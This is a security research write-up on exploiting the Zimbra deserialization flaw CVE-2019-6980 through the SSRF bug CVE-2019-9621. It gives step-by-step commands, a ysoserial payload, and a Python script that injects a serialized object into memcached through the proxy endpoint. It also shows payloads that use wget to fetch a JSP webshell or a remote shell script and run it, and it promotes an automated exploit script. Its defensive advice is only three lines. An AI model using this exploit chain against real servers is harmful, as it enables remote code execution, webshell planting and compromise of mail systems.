0x00 Preface

---

The Zimbra deserialization vulnerability (CVE-2019-6980) affects Zimbra mail servers from version 8.7.x to 8.8.11 and is a remote code execution vulnerability.

Considering that more than two years have passed since the patch was publicly released and there is no complete available POC, this article will document the testing process from a technical research perspective, open-source the exploitation script, and share the details.

0x01 Introduction

---

This article will cover the following topics:

  • Local vulnerability reproduction
  • Practical exploitation analysis
  • Open-source exploitation script
  • Defense recommendations

0x02 Local Vulnerability Reproduction

---

Reference materials:

https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control

(1) Environment Setup

Select a Zimbra mail server version matching the vulnerability, download address:

https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/

For specific setup process, refer to other materials

(2) Create User

Create a test user test1, command as follows:

/opt/zimbra/bin/zmprov ca [email protected] Password123 displayName

The result returns the zimbraId corresponding to test user test1, format: 11111111-1111-1111-1111-111111111111

Supplement: Other common commands

Reference: https://wiki.zimbra.com/wiki/Zmprov

List all users:

/opt/zimbra/bin/zmprov -l gaa

List all administrator users:

/opt/zimbra/bin/zmprov gaaa

View the zimbraId corresponding to user test1:

/opt/zimbra/bin/zmprov ga test1 zimbraId

(3) Modify server configuration

List all servers:

/opt/zimbra/bin/zmprov gad

Obtain the server name test.zimbra.com

View configuration information zimbraMemcachedClientServerList:

/opt/zimbra/bin/zmprov gs test.zimbra.com zimbraMemcachedClientServerList

Default return result is empty

Set the value of zimbraMemcachedClientServerList to 127.0.0.1:

/opt/zimbra/bin/zmprov ms test.zimbra.com zimbraMemcachedClientServerList 127.0.0.1

(4) Restart Zimbra

/opt/zimbra/bin/zmcontrol restart

Note:

Restart Zimbra is required for the first modification of zimbraMemcachedClientServerList

If it's not the first modification of zimbraMemcachedClientServerList, execute the ReloadMemcachedClientConfig command after setting:

/opt/zimbra/bin/zmprov rmcc all

(5) Generate Payload

ysoserial is required here

Command as follows:

java -jar ysoserial.jar MozillaRhino2 "/bin/touch /tmp/test12345" > test.obj

(6) Log in to test user test1 and obtain Cookie

Log in to test user test1 via browser, retrieve the login Cookie, information as follows:

0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b;

(7) Send Payload

Python2.7 is required here

Note:

Using Python3 requires consideration of byte array type conversion

Python2.7 code is as follows:

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

accountid = "11111111-1111-1111-1111-111111111111"
folderNo= 2
modseq = 1
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"test.obj","rb") as f:
payload = f.read()

set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"

headers = {
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b",
"host":"foo:7071"
}
r = requests.post("https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211", data=set_command, headers=headers, verify=False)
print r.text

Note:

The above code is modified from "Zimbra SSRF+Memcached+Deserialization Vulnerability Exploitation Reproduction"

Parameter description:

  • accountid: corresponds to zimbraId
  • folderNo: 2 represents inbox
  • modseq: for new users, defaults to 1
  • uidvalidity: for new users, defaults to 1

Code details:

Here, Cookie information needs to be added. Fill in the token after ordinary user login, set the name as ZM_ADMIN_AUTH_TOKEN. The request address is https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211. This is to use the SSRF (CVE-2019-9621) vulnerability to ultimately send data to port 11211.

Typically, Zimbra does not expose port 11211 externally. However, if it is open, the above code can be modified to directly access port 11211, no longer requiring the SSRF (CVE-2019-9621) vulnerability.

(8) Trigger deserialization to execute code

Use nc to log in to the test user test1 via imap-ssl protocol, access the inbox, and trigger the vulnerability.

The commands are as follows:

ncat --ssl 192.168.1.1 993
a001 login [email protected] Password123
a001 select inbox

0x03 Practical Exploitation Analysis

---

1. Applicable Conditions

Can be divided into the following two scenarios:

(1) Zimbra server version is 8.7.x to 8.8.11

Able to access the imap-ssl port (default 993)

Presence of SSRF (CVE-2019-9621) vulnerability

If the server has not configured zimbraMemcachedClientServerList, it needs to be set to 127.0.0.1 via the SSRF (CVE-2019-9621) vulnerability and wait for Zimbra to restart

(2) Zimbra server version is 8.7.x to 8.8.11

Must be able to access the imap-ssl port (default 993)

Absence of SSRF (CVE-2019-9621) vulnerability

Need to obtain a user credential (plaintext password)

Need to be able to access port 11211

The value of zimbraMemcachedClientServerList needs to be set to 127.0.0.1

The second scenario is too restrictive; usually it's the first scenario, so next we'll introduce the exploitation method in conjunction with the SSRF (CVE-2019-9621) vulnerability

2. Exploitation Process

The exploitation of the SSRF (CVE-2019-9621) vulnerability can use the previously open-source script Zimbra_SOAP_API_Manage.py

(1) Create User

Use the command CreateAccountSSRF to create a new user

(2) View Configuration

Use the command GetMemcachedClientConfigSSRF to obtain zimbraMemcachedClientServerList; if the result is not 127.0.0.1, it needs to be reset

(3) Set zimbraMemcachedClientServerList

Use the command GetServerSSRF to obtain the ServerID, to be used as a parameter

Use the command ModifyServerSSRF to modify the configuration, with the name zimbraMemcachedClientServerList and the value 127.0.0.1

(4) Reload

Use the command ReloadMemcachedClientConfigSSRF to make the modification take effect

(5) Generate Payload

Use the MozillaRhino2 feature in ysoserial

MozillaRhino2 implements execution of Linux commands via the exec() method in its code. Note that the exec() method cannot execute commands containing special characters, such as | >

That is to say, file write operations cannot be achieved via special characters like >

Here, the wget command can be used instead

Command Example 1: Directly download a jsp file

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.jsp --no-check-certificate -O /opt/zimbra/jetty/webapps/zimbra/public/test.jsp" > payload.obj

Command Example 2: Download an sh script, then execute it

The content of test.sh is as follows:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/git/bin:/usr/local/sbin:~/bin
echo $PWD >/tmp/test

Command to generate Payload:

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj

java -jar ysoserial.jar MozillaRhino2 "/bin/sh /tmp/test.sh" > payload.obj

(6) Execute script Zimbra_deserialization_RCE(CVE-2019-6980).py

Zimbra_deserialization_RCE(CVE-2019-6980).py automatically performs the following operations:

  • Log in as a user to obtain a Cookie
  • Obtain the user's corresponding zimbraId via GetAccountInfoRequest
  • Send Payload to port 11211 via the SSRF (CVE-2019-9621) vulnerability
  • Log in as the user using the imap-ssl protocol, access the inbox, trigger the deserialization vulnerability, and execute code

The code has been uploaded to GitHub, address as follows:

An open-source project).py

It should be noted here that when Python uses imaplib to implement the imap-ssl protocol, it can obtain the uidvalidity value but cannot obtain the modseq value

0x04 Defense Recommendations

---

Upgrade the version, install patches

Prohibit external access to port 11211

Prohibit external access to port 7071

0x05 Summary

---

This article introduces the testing process of the Zimbra deserialization vulnerability (CVE-2019-6980), the open-source exploit script Zimbra_deserialization_RCE(CVE-2019-6980).py, and shares the details.